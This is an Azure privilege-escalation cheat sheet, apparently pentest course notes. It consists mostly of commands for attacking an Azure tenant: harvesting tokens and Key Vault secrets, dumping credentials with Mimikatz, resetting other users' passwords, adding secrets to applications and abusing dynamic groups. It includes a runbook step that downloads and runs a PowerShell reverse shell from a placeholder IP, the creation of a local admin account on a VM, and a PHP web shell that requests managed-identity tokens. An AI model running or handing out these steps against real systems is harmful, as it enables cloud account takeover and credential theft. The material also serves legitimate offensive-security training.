- Privesc enumeration
- Automation account
- Command execution on a VM
- Getting credentials
- Managed Identity
- Reset password of other users
- Add credentials to enterprise applications
- Deployments
- Storage account
- Abusing dynamic groups
- Arm Templates History
- Function apps continuous deployment
az ad signed-in-user show
Get-AzContext
az ad signed-in-user list-owned-objects
Get-AzureADUserOwnedObject -ObjectId <ID>
Supported tokens = aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token
az account get-access-token --resource-type ms-graph
Get-AzResource
Get-AzResourceGroupDeployment -ResourceGroupName <RESOURCEGROUP>
Get-AzRoleAssignment -Scope <RESOURCE ID>
Get-AzRoleDefinition -Name "<ROLE DEFINITION NAME>"
- Required aad-graph token
Add-AzureADGroupMember -ObjectId <GROUP ID> -RefObjectId <USER ID> -Verbose
- Automation Account comes very handy in privilege escalation:
- Run As account is by default contributor on the current subscription and possible to have contributor permissions on other subscriptions in the tenant.
- Often, clear-text privileges can be found in Runbooks. For example, a PowerShell runbook may have admin credentials for a VM to use PSRemoting.
- Access to connections, key vaults from a runbook.
- Ability to run commands on on-prem VMs if hybrid workers are in use.
- Ability to run commands on VMs using DSC in configuration management.
- A runbook often contains clear-text passwords for example psremoting!
az extension add --upgrade -n automation
az automation account list
az account get-access-token
az account get-access-token --resource-type aad-graph
$accesstoken = ''
$aadtoken = ''
Connect-AzAccount -AccessToken $accesstoken -GraphAccessToken $aadtoken -AccountId <ID>
- Check for the Roledefinition
- Get the ID from az automation account list
Get-AzRoleAssignment -Scope <ID>
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <NAME> -ResourceGroupName <NAME>
Import-AzAutomationRunbook -Name student38 -Path <PATH TO .ps1 FILE> -AutomationAccountName <NAME> -ResourceGroupName <NAME> -Type PowerShell -Force -Verbose
IEX (New-Object Net.Webclient).downloadstring("http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1")
reverse -Reverse -IPAddress xx.xx.xx.xx -Port 4444
Publish-AzAutomationRunbook -RunbookName <NAME FOR RUNBOOK> -AutomationAccountName <NAME> -ResourceGroupName <NAME> -Verbose
Start-AzAutomationRunbook -RunbookName <NAME OF RUNBOOK> -RunOn <WORKERGROUP NAME> -AutomationAccountName <NAME> -ResourceGroupName <NAME> -Verbose
Import-Module Microburst.psm1
Get-AzurePasswords
- Vm access can be found after getting a new user or tokens and seeing that it has access to a vm
$accesstoken = ''
Connect-AzAccount -AccessToken $accesstoken -AccountId <CLIENT ID OR EMAIL>
Get-AzVM -Name <VM NAME> -ResourceGroupName <RESOURCE GROUP NAME> | select -ExpandProperty NetworkProfile
Get-AzNetworkInterface -Name <NETWORKINTERFACE>
Get-AzPublicIpAddress -Name <ID OF PUBLIC IP ADRESSES IN IPCONFIGURATION>
Get-AzRoleAssignment -Scope <RESOURCE ID>
Get-AzRoleDefinition -Name "<ROLE DEFINITION NAME>"
Invoke-AzVMRunCommand -VMName <VM NAME> -ResourceGroupName <NAME> -CommandId 'RunPowerShellScript' -ScriptPath '<PATH TO .ps1 FILE>' -Verbose
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
New-LocalUser -Name <USER> -Password $passwd
Add-LocalGroupMember -Group Administrators -Member student38
$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USER>', $Password)
$sess = New-PSSession -ComputerName 20.52.148.232 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
cat C:\Users\bkpadconnect\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- az cli stores access tokens in clear text in
accessTokens.json
in the directoryC:\Users\<username>\.Azure
- We can read tokens from the file, use them and request new ones too!
- azureProfile.json in the same directory contains information about subscriptions.
- You can modify accessTokens.json to use access tokens with az cli but better to use with Az PowerShell or the Azure AD module.
- To clear the access tokens, always use az logout
- Az PowerShell stores access tokens in clear text in
TokenCache.dat
in the directoryC:\Users\<username>\.Azure
- It also stores ServicePrincipalSecret in clear-text in AzureRmContext.jsonif a service principal secret is used to authenticate.
- Another interesting method is to take a process dump of PowerShell and looking for tokens in it!
- Users can save tokens using Save-AzContext, look out for them! Search for Save-AzContext in PowerShell console history!
- Always use Disconnect-AzAccount!!
- Supported tokens - AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, OperationalInsights, ResourceManager, Synapse
Get-AzAccessToken -ResourceTypeName AadGraph
- Supported tokens - aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type ms-graph
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
$accesstoken = ''
$keyvaulttoken = ``
Connect-AzAccount -AccessToken $accesstoken -AccountId <ID> -KeyVaultAccessToken $keyvaulttoken
Get-AzKeyVault
Get-AzKeyVault -VaultName <VAULT NAME>
Get-AzKeyVaultSecret -VaultName <VAULT NAME> -AsPlainText
Get-AzKeyVaultSecret -VaultName <VAULT NAME> -Name <NAME> -AsPlainText
$password = ConvertTo-SecureString <PASSWORD> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password)
Connect-AzAccount -Credential $creds
Invoke-Mimikayz -Dumpcreds
Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'
Get-Childitem -Path C:\Users\ -Force -Include ConsoleHost_history -Recurse -ErrorAction SilentlyContinue
cat <FILE> | select-string password
cat <FILE> | select-string secure
type C:\Transcripts\20210422\PowerShell_transcript.DESKTOP-M7C1AFM.6sZJrDuN.20210422230739.txt
- print environment variables and check for IDENTITY_HEADER and IDENTITY_ENDPOINT
env
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
<?php
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
- Reset password if user has "authentication administrator" role on a group or administrative unit.
$password = "<PASSWORD>" | ConvertTo-SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<ACCOUNT>"}).ObjectId | Set-AzureADUserPassword -Password $Password –Verbose
. .\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose
$password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<ACCOUNT ID>', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant <TENANT ID>
Get-AzResource
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <RESOURCE GROUP NAME>
Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
- Or manually scan through it!
cat <PATH TO .json FILE> | Select-String password
Get-AzResource
Get-AzStorageContainer -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <RESOURCEGROUPNAME>).Context
Get-AzStorageAccountKey -name <NAME OF STORAGE> -resourcegroupname <NAME>
Get-AzResource
Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
- By default, any user can invite guests in Azure AD. If a dynamic group rule allows adding users based on the attributes that a guest user can modify, it will result in abuse of this feature. For example based on EMAIL ID and join as guest that matches that rule.
- Login to the portal and check the groups. Is there any dynamic group?
- Click on the dynamic group and select "Dynamic membership rules". Is it possible to invite a user that complies to the rule?
- Go to Users and select "New Guest User"
- Open the user's profile and click on "(manage)" under invitation accepted. Select YES on resend invite and copy the URL.
- Open the URL in a private browser and login and accept the permissions.
- Connect to the tenant with AzureAD
- Set the secondary email for the user (Get the objectID of the user from the portal where we made the guest)
import-module .\AzureADPreview.psd1
Get-AzureADMSGroup | Where-Object -Property GroupTypes -Match 'DynamicMembership' | fl *
Set-AzureADUser -ObjectId <ID> -OtherMails <EMAIL> -Verbose
- Check if the user is added to the dynamic group (Might take a bit)
- Any user with permissions
Microsoft.Resources/deployments/read
andMicrosoft.Resources/subscriptions/resourceGroups/read
can read the deployment history. - Login to the azure portal
- Go to the deployments under settings and check the template for passwords or anything!
- Not sure if its possible by commands in any module!
- In case continuous deployment is used, a source code update triggers a deployment to Azure.
- Following source code locations are supported
- Azure Repos
- GitHub
- Bitbucket
- May be able to escalate privileges if we can own a continuous deployment and execute code on anything or add users!